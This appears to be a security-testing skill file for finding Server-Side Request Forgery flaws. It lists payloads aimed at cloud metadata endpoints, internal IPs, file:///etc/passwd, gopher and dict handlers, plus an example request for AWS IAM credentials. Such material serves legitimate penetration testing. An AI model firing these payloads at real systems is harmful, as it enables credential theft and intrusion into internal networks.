name: performing-ssrf-vulnerability-exploitation description: >- Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection. domain: cybersecurity subdomain: security-operations tags: [performing, ssrf, vulnerability, exploitation] version: "1.0" author: mahipal license: Apache-2.0

Instructions

1. Install dependencies: pip install requests
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
   • Cloud metadata: http://169.254.169.254/latest/meta-data/
   • Internal services: http://127.0.0.1:port/, http://10.0.0.1/
   • Protocol handlers: file:///etc/passwd, gopher://, dict://
   • Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.
